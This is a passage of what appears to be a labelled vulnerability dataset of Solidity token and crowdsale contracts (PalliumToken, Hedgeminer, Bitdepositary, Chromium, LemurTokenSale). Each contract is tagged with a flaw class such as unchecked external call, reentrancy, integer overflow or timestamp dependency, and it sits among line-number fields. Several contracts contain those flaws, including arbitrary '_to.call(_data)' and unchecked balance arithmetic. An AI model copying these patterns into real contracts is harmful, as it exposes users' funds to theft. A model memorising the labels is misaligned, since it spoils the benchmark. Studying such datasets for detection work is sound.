transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } // File: contracts/PalliumToken.sol contract PalliumToken is MintableToken, PausableToken, ERC827Token, CanReclaimToken { string public constant name = 'PalliumToken'; string public constant symbol = 'PLMT'; uint8 public constant decimals = 18; function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require (totalSupply_ + _amount <= 250 * 10**6 * 10**18); return super.mint(_to, _amount); } } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); token = token; } function _postValidatePurchase(address, uint256) internal { // optional override token = token; } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState(address, uint256) internal { // optional override token = token; } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: contracts/StagedCrowdsale.sol /** * @title StagedCrowdsale */ contract StagedCrowdsale is Crowdsale { struct Stage { uint index; uint256 hardCap; uint256 softCap; uint256 currentMinted; uint256 bonusMultiplier; uint256 startTime; uint256 endTime; } mapping (uint => Stage) public stages; uint256 public currentStage; enum State { Created, Paused, Running, Finished } State public currentState = State.Created; function StagedCrowdsale() public { currentStage = 0; } function setStage(uint _nextStage) internal { currentStage = _nextStage; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(currentState == State.Running); require((now >= stages[currentStage].startTime) && (now <= stages[currentStage].endTime)); require(_beneficiary != address(0)); require(_weiAmount >= 200 szabo); } function computeTokensWithBonus(uint256 _weiAmount) public view returns(uint256) { uint256 tokenAmount = super._getTokenAmount(_weiAmount); uint256 bonusAmount = tokenAmount.mul(stages[currentStage].bonusMultiplier).div(100); return tokenAmount.add(bonusAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 tokenAmount = computeTokensWithBonus(_weiAmount); uint256 currentHardCap = stages[currentStage].hardCap; uint256 currentMinted = stages[currentStage].currentMinted; if (currentMinted.add(tokenAmount) > currentHardCap) { return currentHardCap.sub(currentMinted); } return tokenAmount; } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { require(_tokenAmount > 0); super._processPurchase(_beneficiary, _tokenAmount); uint256 surrender = computeTokensWithBonus(msg.value) - _tokenAmount; if (msg.value > 0 && surrender > 0) { uint256 currentRate = computeTokensWithBonus(msg.value) / msg.value; uint256 surrenderEth = surrender.div(currentRate); _beneficiary.transfer(surrenderEth); } } function _getTokenRaised(uint256 _weiAmount) internal view returns (uint256) { return stages[currentStage].currentMinted.add(_getTokenAmount(_weiAmount)); } function _updatePurchasingState(address, uint256 _weiAmount) internal { stages[currentStage].currentMinted = stages[currentStage].currentMinted.add(computeTokensWithBonus(_weiAmount)); } } // File: zeppelin-solidity/contracts/crowdsale/distribution/utils/RefundVault.sol /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } // File: contracts/StagedRefundVault.sol contract StagedRefundVault is RefundVault { event ClosedStage(); event Active(); function StagedRefundVault (address _wallet) public RefundVault(_wallet) { } function stageClose() onlyOwner public { ClosedStage(); wallet.transfer(this.balance); } function activate() onlyOwner public { require(state == State.Refunding); state = State.Active; Active(); } } // File: zeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } // File: contracts/PalliumCrowdsale.sol contract PalliumCrowdsale is StagedCrowdsale, MintedCrowdsale, Pausable { StagedRefundVault public vault; function PalliumCrowdsale(uint256 _rate, address _wallet) public Crowdsale(_rate, _wallet, new PalliumToken()) StagedCrowdsale(){ // 25.000.000 PLMT for team token pool _processPurchase(_wallet, 25*(10**24)); vault = new StagedRefundVault(_wallet); stages[0] = Stage(0, 5*(10**24), 33*(10**23), 0, 100, 1522540800, 1525132800); stages[1] = Stage(1, 375*(10**23), 2475*(10**22), 0, 50, 1533081600, 1535760000); stages[2] = Stage(2, 75*(10**24), 495*(10**23), 0, 25, 1543622400, 1546300800); stages[3] = Stage(3, 1075*(10**23), 7095*(10**22), 0, 15, 1554076800, 1556668800); } function goalReached() internal view returns (bool) { return stages[currentStage].currentMinted >= stages[currentStage].softCap; } function hardCapReached() internal view returns (bool) { return stages[currentStage].currentMinted >= stages[currentStage].hardCap; } function claimRefund() public { require(!goalReached()); require(currentState == State.Running); vault.refund(msg.sender); } // this is used if previous stage did not reach the softCap, // the refaund is available before the next stage begins function toggleVaultStateToAcive() public onlyOwner { require(now >= stages[currentStage].startTime - 1 days); vault.activate(); } function finalizeCurrentStage() public onlyOwner { require(now > stages[currentStage].endTime || hardCapReached()); require(currentState == State.Running); if (goalReached()) { vault.stageClose(); } else { vault.enableRefunds(); } if (stages[currentStage].index < 3) { setStage(currentStage + 1); } else { finalizationCrowdsale(); } } function finalizationCrowdsale() internal { vault.close(); setState(StagedCrowdsale.State.Finished); PalliumToken(token).finishMinting(); PalliumToken(token).transferOwnership(owner); } function migrateCrowdsale(address _newOwner) public onlyOwner { require(currentState == State.Paused); PalliumToken(token).transferOwnership(_newOwner); StagedRefundVault(vault).transferOwnership(_newOwner); } function setState(State _nextState) public onlyOwner { bool canToggleState = (currentState == State.Created && _nextState == State.Running) || (currentState == State.Running && _nextState == State.Paused) || (currentState == State.Paused && _nextState == State.Running) || (currentState == State.Running && _nextState == State.Finished); require(canToggleState); currentState = _nextState; } function manualPurchaseTokens (address _beneficiary, uint256 _weiAmount) public onlyOwner { _preValidatePurchase(_beneficiary, _weiAmount); uint256 tokens = _getTokenAmount(_weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, _weiAmount, tokens); _updatePurchasingState(_beneficiary, _weiAmount); } function _forwardFunds() internal { vault.deposit.value(this.balance)(msg.sender); } }",./Dataset/unchecked external call (UC),7,7 36745.sol,"/** * HMT - Hedgeminer token * based upon code from ERC223 * and Human Standard Token * author: Marek Owsikowski * Project page: * https://github.com/mjobuda/hedgeminer * */ pragma solidity ^0.4.11; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { require (assertion); } } contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance // function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not // function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { // function transfer(address _to, uint256 _value) returns (bool success) { // //Default assumes totalSupply can't be over max (2^256 - 1). // //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. // //Replace the if with this one instead. // //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); // require(balances[msg.sender] >= _value); // balances[msg.sender] -= _value; // balances[_to] += _value; // Transfer(msg.sender, _to, _value); // return true; // } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract ERC223Basic is StandardToken{ uint public totalSupply; // function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); function transfer(address to, uint value, bytes data); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223BasicToken is ERC223Basic{ using SafeMath for uint; mapping(address => uint) balances; // Function that is called when a user or another contract wants to transfer funds . function transfer(address to, uint value, bytes data) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(to) } balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(to); receiver.tokenFallback(msg.sender, value, data); } Transfer(msg.sender, to, value, data); } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address to, uint value) { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(to) } balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(to); receiver.tokenFallback(msg.sender, value, empty); } Transfer(msg.sender, to, value, empty); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /* * Contract that is working with ERC223 tokens */ contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data); } contract HumanERC223Token is ERC223BasicToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanERC223Token ( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } } // Creates 20,000,000.000000000000000000 Hedgeminer Token (HMT) Tokens contract HedgeminerToken is HumanERC223Token (20000000000000000000000000, ""Hedgeminer Token"", 18, ""HMT"") {}",./Dataset/reentrancy (RE)/,5,5 30.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Bitdepositary is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function Bitdepositary() public { symbol = ""BDT""; name = ""Bitdepositary""; decimals = 18; bonusEnds = now + 1500 weeks; endDate = now + 7500 weeks; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 500000001; } else { tokens = msg.value * 14000000000000000000000; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 1460.sol,"pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Chromium is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""Chromium""; string public constant symbol = ""CHRM""; uint public constant decimals = 8; uint256 public totalSupply = 10000000000e8; uint256 public totalDistributed = 0; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 10000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function Chromium () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 8750.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { if (_x == 0) { return 0; } z = _x * _y; assert(z / _x == _y); return z; } function div(uint256 _x, uint256 _y) internal pure returns (uint256) { return _x / _y; } function sub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_y <= _x); return _x - _y; } function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { z = _x + _y; assert(z >= _x); return z; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) onlyOwner public { require(_newOwner != address(0)); owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } } contract Erc20Wrapper { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract LemurTokenSale is Ownable { using SafeMath for uint256; Erc20Wrapper public token; address public wallet; uint256 public rate; uint256 public amountRaised; uint256 public openingTime; uint256 public closingTime; event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount); constructor() public { openingTime = block.timestamp; closingTime = openingTime.add(90 days); } function setToken(Erc20Wrapper _token) onlyOwner public { require(_token != address(0)); token = _token; } function setWallet(address _wallet) onlyOwner public { require(_wallet != address(0)); wallet = _wallet; } function setRate(uint256 _rate) onlyOwner public { require(_rate > 0); rate = _rate; } function setClosingTime(uint256 _days) onlyOwner public { require(_days >= 1); closingTime = openingTime.add(_days.mul(1 days)); } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { require(!hasClosed()); require(token != address(0) && wallet != address(0) && rate > 0); require(_beneficiary != address(0)); uint256 amount = msg.value; require(amount >= 0.01 ether); uint256 tokenAmount = amount.mul(rate); amountRaised = amountRaised.add(amount); require(token.transfer(_beneficiary, tokenAmount)); emit TokenPurchase(msg.sender, _beneficiary, amount, tokenAmount); wallet.transfer(amount); } }",./Dataset/timestamp dependency (TP)/,6,6 0x00fa44d91d7541d16dd18a48dd6a011de5e887df_Sale.sol,"pragma solidity ^0.4.13; contract Calculator { function getAmount(uint value) constant returns (uint); } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Sale is Ownable { //responsible for getting token amount Calculator calculator; //which token should we sell ERC20 token; // who sells his tokens address tokenSeller; uint256 public minimalTokens = 100000000000; /** * event for token purchase 